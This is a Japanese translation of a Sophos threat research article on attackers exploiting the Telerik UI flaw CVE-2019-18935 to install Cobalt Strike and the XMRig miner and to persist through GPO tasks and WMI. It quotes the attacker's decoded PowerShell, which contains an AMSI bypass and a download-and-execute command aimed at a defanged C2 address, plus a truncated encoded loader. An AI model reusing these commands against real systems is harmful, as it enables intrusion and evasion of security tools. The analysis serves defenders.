A mockingbird sitting on a wire
脅威の調査

Telerik UI の脆弱性の悪用で Web サーバー乗っ取りとマルウェア感染が可能

人気の Web アプリケーション GUI 開発ツールの脆弱性が攻撃者に狙われています。

** 本記事は、Telerik UI exploitation leads to cryptominer, Cobalt Strike infections の翻訳です。最新の情報は英語記事をご覧ください。**

未知の攻撃者が Web アプリケーション Telerik UI のフレームワーク上に 3 年前に発見された脆弱性を悪用して Web サーバーを制御しています。攻撃は 2020 年に初めて確認された手法で行われ、その過程では Cobalt Strike ビーコンやさまざまなマルウェアがインストールされます。

2019 年に初めて脆弱性が公表されてから数週間にわたって、攻撃者はインターネット上で脆弱なアプリケーションをスキャンしていました。その間、クリプトマイナーを配信する攻撃が急増し、多くのサーバー管理者が対応を迫られました。しかし、最初の波ですべての脆弱なサーバーが攻撃されたわけではありません。この脆弱性は 2020 年から 2021 年にかけて (特に以前にも記事にした Netwalker ランサムウェアのオペレーターによって) 頻繁に悪用されており、ソフォスの Managed Threat Response (MTR) チームは、今年 5 月の初めから複数の新しい攻撃に対応しています。

ソフォスが調査したインシデントでは、攻撃者はこの脆弱性 (CVE-2019-18935) を悪用して Cobalt Strike ビーコンを (DLL ペイロードとして) ディスクに配信し、このビーコンを使用してエンコードした PowerShell コマンドを実行していました。PowerShell コマンドはさらにマルウェアをダウンロードし、いくつかの新しい手法を用いてサーバー上に常駐させます。

これらの戦術は、2 年前に発生した一連の攻撃と酷似しており、当時は Blue Mockingbird と呼ばれる攻撃者が関与していました。ご存知の通り、攻撃者はわざわざ新しいアプローチを開発するよりも、戦術、技術、手順 (TTP) を再利用し、パッチが適用されていない既知の脆弱性を狙うのを好みます。

PowerShell コマンドの実行を試みたことで、ソフォス製品が挙動を検知し、攻撃者は排除されました。これにより、攻撃による被害の拡大は食い止められました。

CVE-2019-18935

Telerik UI for ASP.NET AJAX は、Web アプリケーションを構築するためのコンポーネントとテーマのセットであり、Web ページの動作や見た目を自由に変更できるプログラマブルオブジェクトを多数含んでいます。これらのオブジェクトの中には、スクリプトや小規模なプログラムのように動作するものもあり、Telerik の管理インターフェイスを通じて、Web サイトの開発者や管理者は新しいモジュールやその他のコンポーネントをオンデマンドでアップロードできます。

今回問題になっている脆弱性 CVE-2019-18935 は、Telerik を使用して Windows Server 上で動作する Web アプリケーションに影響を与える、デシリアライゼーションに関連する脆弱性です。より詳しく言うと、ファイルのアップロードリクエストを処理するために使用される Telerik UI の RadAsyncUpload 関数に存在します。

シリアライゼーションとは、Web アプリケーションがオブジェクトのような複雑なデータ構造をバイト列に変換し、ディスクに保存したりネットワークで送信したりすることです。デシリアライゼーション (逆シリアライゼーション) はその名の通り、バイト列を元のオブジェクトに戻すことを意味します。ユーザーが提供したデータを Web アプリケーションでデシリアライズする際に、攻撃者がシリアライズされたオブジェクトに悪意のあるコードを忍ばせたり、あるいはオブジェクトを完全に置き換えたりすることがあります。デシリアライゼーションに関連する脆弱性がもたらす影響としては、サービス拒否 (DoS)、認証の迂回、そして今回のようなリモートコード実行 (RCE) などが考えられます。そのため、CVE-2019-18935 は National Vulnerability Database (NVD) によって 9.8 点 (緊急) の CVSS スコアを与えられました。

しかし、この脆弱性は出現当初と比べて複雑になっています。Telerik UI のアップロードハンドラ内におけるシリアライズは暗号化キーで保護されており、攻撃者が脆弱性を悪用するためには予めその暗号化キーを知っている必要があります。Telerik UI の以前の脆弱性 (CVE-2017-11317 および CVE-2017-11357) を悪用してキーを入手することも可能ですが、そのためには脆弱性が修正されていないホストを探す必要があります。あるいは、他の手段を使って (たとえば Web アプリケーションの別の脆弱性を悪用して) キーを入手することもあります。

キーを入手した攻撃者は、マネージドコードとアンマネージドコードの両方を含む、悪意のあるミックスモードアセンブリ DLL をコンパイルします。この DLL は脆弱性の悪用後に、Windows ホスト上で Web アプリケーションを実行する役目を持つ w3wp.exe プロセスによって実行されます。

つまり、脆弱なホストを発見すること、5 年前の脆弱性を悪用して (あるいはその他の方法で) 暗号化キーを入手すること、適切な DLL をコンパイルすること、そしてデシリアライゼーションに関連する脆弱性を悪用することが、今回の攻撃チェーンの前提条件になっています。一見、大変なことのように思えます。

しかし、2019 年 12 月中旬に、面倒な作業の大部分を自動で行う概念実証 (PoC) エクスプロイトが研究者によって公開されました。このエクスプロイトは、暗号化ロジックを処理する別のリポジトリ由来のコードと、DLL をコンパイルするためのバッチファイルを含んでおり、事実上「全自動」になっています (Metasploit モジュールを利用することでさらに簡易化されます)。

Telerik 社は、この脆弱性に対するパッチをリリースしていますが、Telerik UI フレームワークは通常、オーダーメイドで 1 点ものの Web アプリケーションに組み込まれています。そのため、Web アプリケーションが動作しているサーバーの所有者が、独自のアプリケーションが脆弱であるかどうかを、攻撃を受ける前に把握するのは困難な場合があります。

同じ手法をくり返す攻撃者

Sophos MTR が観測した攻撃では、上述の PoC エクスプロイトのスクリプトが使用されており、ペイロードとしては Cobalt Strike ビーコン DLL が利用されているようです。このエクスプロイトの特徴の一つは、攻撃者が サーバーにアップロードする DLL が常に標的ホストの C:\Windows\Temp ディレクトリに置かれ、ファイル名には Unix タイムスタンプが使用されることです。そのため、攻撃者が脆弱性を悪用した日時が正確に把握できます。

Cobalt Strike のペイロードは、チェコ共和国にある C2 サーバーと通信します。ビーコンの構成は以下のとおりです。

A screenshot of configuration details for the Cobalt Strike beacon

図 1: Cobalt Strike ビーコンの構成

Cobalt Strike ペイロードの実行後、攻撃者は Base64 でエンコードされた PowerShell コマンドを実行して C2 サーバーから追加のマルウェアをダウンロードし、実行しました。

A screenshot of decoded PowerShell commands which download and run malware from the attacker's C2 server図 2: デコード後の PowerShell コマンド

ソフォス製品に保護されている環境では、上記の PowerShell コマンドを実行すると挙動が検知され、悪意のある PowerShell プロセスが終了され、Sophos MTR によるさらなる調査が行われます。

ソフォスで setup192.exe を解析したところ、この実行ファイルがセルフインジェクションのための cmd.exe を生成し、さらに 2 件の不審なファイル、crby26td.exea.jsonC:\Windows\Temp ディレクトリにドロップすることが判明しました。

crby26td.exe は XMRig Miner (Monero をマイニングするように設計された正規のオープンソースクリプトマイナー) であり、a.json は暗号通貨マイニング用の構成情報を含むファイルです。

A JSON file with XMRig Miner configuration details図 3: XMRig Miner マルウェアの構成情報を含んだ a.json の中身

上記の「user」フィールドで指定されているのは Monero ウォレット ID です。しかし、Monero の設計上、ウォレットの残高は確認できません。

XMRig Miner は攻撃者にとって便利なツールとなっており、Log4J (CVE-2021-44228) を始めとしたさまざまな脆弱性の悪用に用いられているのがしばしば確認されています

グループポリシーオブジェクトを介した常駐化

数日後、Sophos MTR チームは、上記の例とは無関係の環境で、攻撃者が Active Directory GPO を介してラテラルムーブメントを行い、常駐化を試みたインシデントに対応しました。

GPO は、グループポリシー設定のための雛形であり、攻撃者は、GPO の列挙 (デフォルトでは、認証されたユーザーのみ閲覧可能) を悪用して、権限昇格の機会を伺うことがあります。しかしながら、GPO は今回の事例のように常駐化を試み、ラテラルムーブメントを補完するために使われることもあります。

さらにネットワークを調査した結果、攻撃者は CVE-2019-18935 に対して脆弱な、保護されていない Web サーバーに侵入していたことが判明しました。初期アクセスを獲得した後、攻撃者は悪意のある GPO を埋め込むために、侵入先の Web サーバーから保護されていないドメインコントローラーに拠点を移しました。

A flowchart showing the attack chain

図 4: Sophos MTR によって観測された攻撃チェーン

問題の GPO は、複数のワークステーションを横断して一度だけ実行される、一意の名前を持つスケジュールタスクを作成しました。このスケジュールタスクは、エンコードされたデータ (hex でエンコードされた cmd.exe コマンドと Base64 でエンコードされた PowerShell コマンド) を、以下のレジストリキーに書き込みました。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{固有のタスク名}

A screenshot of encoded malicious data as a scheduled task in the Windows registry

図 5: レジストリに書き込まれた、悪意のあるスケジュールタスクをエンコードしたもの

このデータを CyberChef の手順に従ってデコードしたところ、以下のようなコマンドが得られました。

$a='msi';[Ref].Assembly.GetType('System.Management.Automation.A'+$a+'Utils').GetField('a'+$a+'InitFailed',
'NonPublic,Static').SetValue($null,$true);IEX ((new-object net.webclient).downloadstring('hxxp://212.192.241[.]155:8000/a'))

このコマンドは、マルウェア対策スキャンインターフェイス (AMSI) を回避する一般的な技術を使用しています。この技術を無効化するために設計された Windows Defender のシグネチャを迂回するために、攻撃者が文字列連結 ($a 変数) を使用している点に注目してください。

hxxp[:]//212.192.241[.]155:8000/a がリモート PowerShell スクリプトであり、今回の例では gunzip と XOR でエンコードされています。

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAOy9Wa/qSrIu+rzrV8yHLa21xNo1wIAxR9rSNTYY444eTJ1SyRjjBtw3Y
[-truncated-] 
q3f94xVr4oD97z0xm85f6tKh+Lyqqi6t93gML5LP4X98EPpf5971L/3eXp5EPvVTX6eZfVa19rfwJCUODYO2EFAA=="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

デコードされると (悪意のある PowerShell をデコードする方法についてはこちらをご覧ください)、スクリプトは Cobalt Strike DLL をメモリにロードします。その後で、以前のインシデントと同様に、XMRig Miner がダウンロードされます。また、tuh25o6n.exe というバイナリが追加でドロップされているのも確認されました。このバイナリは hxxp[:]//212.192.241[.]155/up/setup.exe をダウンロードし、上述の例と同様に C:\Windows\Temp\setup192.exe または C:\Users\Public\setup192.exe に保存します。

攻撃者はスケジュールタスクに加えて、WindowsUpdate と名付けられた常駐の Windows Management Instrumentation (WMI) ActiveScriptEvent コンシューマーをインストールし、C2 サーバーの hxxp[:]//212.192.241[.]155/up/setup.exe から不正なプログラムをダウンロード、実行しました。WMI ActiveScriptEvent コンシューマーを使用すると、攻撃者はイベントの開始時に予め指定されたスクリプトを実行し、スクリプトの動作を常駐の、あるいは一回限りのものとして設定できます。この例におけるイベントの内容は不明ですが、悪意のあるタスクの作成と関連する GPO 設定の適用 (イベント ID 1500) であると考えられます。

Screenshot of a malicious WMI ActiveScriptEvent consumer

図 6: 悪意のある WMI ActiveScriptEvent コンシューマー

Blue Mockingbird の模倣犯か

2020 年 5 月に、Blue Mockingbird と名乗る攻撃者が CVE-2019-18935 を悪用して XMRig Miner をインストールし、スケジュールタスクなど複数の手法を用いて常駐化を試みていたことが研究者によって報告されました

ここまでに限ると、上述の事例に類似しています。しかし、今回ソフォスで観測した例とは、いくつかの重要な相違点があります。たとえば、2020 年のインシデントでは XMRig Miner は DLL としてパッケージ化され、主要なペイロードとして使用されましたが、今回の例では Cobalt Strike が最初に使用され、XMRig は攻撃チェーンの後半に、仲介バイナリ経由でダウンロードされたことが確認されています。

Blue Mockingbird は COR_PROFILER COM 乗っ取りによる常駐化、リモートスケジュールタスクによるラテラルムーブメント、Juicy Potato による権限昇格 (および Mimikatz による認証情報窃取) などを行ったことが報告されていますが、今回のソフォスの調査ではこれらの手法は確認されませんでした。

興味深いことに、Blue Mockingbird の C2 メカニズムは 2020 年には実験段階にあったようで、当時の攻撃者は PowerShell や DLL 形式のリバースシェルなど、さまざまなツールを試しています。つまり、今回観測された脅威は、Blue Mockingbird 自身が感染チェーンを改良して、既存の C2 メカニズムを Cobalt Strike を用いる形に刷新したものである可能性があります。一方で、まったく別の攻撃者が Blue Mockingbird のメカニズムに独自の改良を加えたものである可能性もあります。

いずれにせよ、CVE-2019-18935 が重大な脆弱性であり続けることは明らかです。以下の Google Trends のグラフからわかるように、「CVE-2019-18935」という単語での検索は 2020 年 5 月下旬にピークを迎えています。Netwalker と Blue Mockingbird による活発な悪用が報告された頃です。その後、検索数は減少し、2021 年 11 月から 2022 年にかけては小康状態を迎えました。しかし、最近になって再び増加しており、Sophos MTR チームが調査したいくつかの攻撃と関連する可能性があります。

A Google Trends line graph showing searches for CVE-2019-18935

図 7: 「CVE-2019-18935」という単語の 2019 年 12 月から 2022 年 6 月までの Google 検索の数

2021 年 12 月から 2022 年 6 月までの間における、XMRig Miner のソフォス製品による総検出数と対照すると、興味深い結果が得られます。2022 年 3 月下旬に大きな山が現れるまでは活動は低調になっており、その後、4 月から 5 月にかけて活発化し、持続しています。

A line graph showing Sophos detections of XMRig Miner図 8: 2021 年 12 月から 2022 年 5 月までの、ソフォス製品による XMRig Miner の検出数

もちろん、XMRig Miner が関与するすべての攻撃が CVE-2019-18935 に関係しているわけではなく (逆も同様です)、両グラフに見られる傾向はいかようにも説明できます。しかし、これらのグラフから、攻撃者は短期的には特定の脆弱性やツールを重点的に活用することがある一方で、試行錯誤を経た旧来の方法にしばしば立ち戻るということがわかります。

検出とガイダンス

今回の攻撃者が Blue Mockingbird であるかどうかにかかわらず、学ぶべき重要な教訓が 3 点あります。1 点目は、基本的なセキュリティハイジーンを徹底すること、つまりは強固なランサムウェアおよびマルウェア対策を確実に行い、インターネットに接続する製品や Telerik UI などのコンポーネントに最新のパッチを適用することです。とはいえ、Web アプリケーションが少し古いものであったり、たとえば外注の開発者によって開発されたものであったりする場合には、難しいことがあります。CVE-2019-18935 に対して脆弱かどうかを確認するためには、Python スクリプトや Nmap Scripting Engine (NSE) プラグインなど、専用のスキャナーが利用できます。ただし、サードパーティのスキャナーやツールを使う際には普段通り、十分注意してください。

2 点目は、比較的古い脆弱性であっても、攻撃者に悪用される可能性があるということです。サイバーセキュリティニュースのトレンドから姿を消したからといって、その脆弱性が悪用された場合の影響が小さくなるわけではありません。

3 点目は、攻撃者の TTP が、自前のアプローチであるかどうかに関係なく、改良を重ねて進化しているのを今回のインシデントが実証しているということです。最新の脆弱性や斬新な技術がニュースに現れるのはある意味当然ですが、実際のマルウェア攻撃は、すでに確立された攻撃に少し手を加えた手法で行われる可能性があります。攻撃者も、普通の人と同じように、シンプルなものを好む傾向があります。

ソフォスは Telerik 社に連絡を取り、上述の脆弱性の悪用が未だに活発であることを伝えました。Telerik 社からの返信は、2020 年に同社が顧客に向けて発信したアドバイスを引用したものでした。以下がその一部です。「お客様とパートナー様には、2017 年および 2019 年に修正プログラムを提供しました。本脆弱性の対策として、R1 2020 (バージョン 2020.1.114) 以降へのアップグレードをおすすめします。本脆弱性がご自身に関係するかどうか不明な場合は、こちらのページをご覧ください。」Telerik 社は CVE-2017-11317 および CVE-2019-18935 に関する同社の記事へのリンクも掲載していました。

Web サーバーにインストールされたソフォスのエンドポイント保護製品は、setup192.exe ダウンローダーを Troj/Miner-AED として、tuh25o6n.exe ウンローダーを Troj/DwnLd-ADF としてそれぞれ検出します。Cobalt Strike DLL は Mem/Meter-G、メモリ上で実行される Cobalt Strike ペイロードは Troj/PShlSpy-A および ATK/Cobalt-CP として検出されます。XMRig Miner は潜在的に迷惑なアプリケーション (PUA) 、関連する設定ファイルは Coinminer Config (クリプトマイナー構成) としてそれぞれ検出されます。さらに、Exec_30a のような挙動検知が、今回観測されたような PowerShell 経由のバイナリのダウンロードと実行を阻止します。Web サーバーのログに [ホスト名]/Telerik.Web.UI.WebResource.axd?type=rau への複数の GET リクエストが確認された場合、攻撃者が侵入を試みた可能性があります。

SophosLabs は、本記事で分析したサンプルに関連するセキュリティ侵害の痕跡 (IoC) を Github リポジトリに掲載しています。

謝辞

SophosLabs は、本記事への貢献に対して、Gabor Szappanos、Gabe Renfro、John Carlo Adriano、Aaron Sullivan、Chaz Denney、Colby Olinarez の各名を含む、Sophos MTR チームのメンバーに謝意を表します。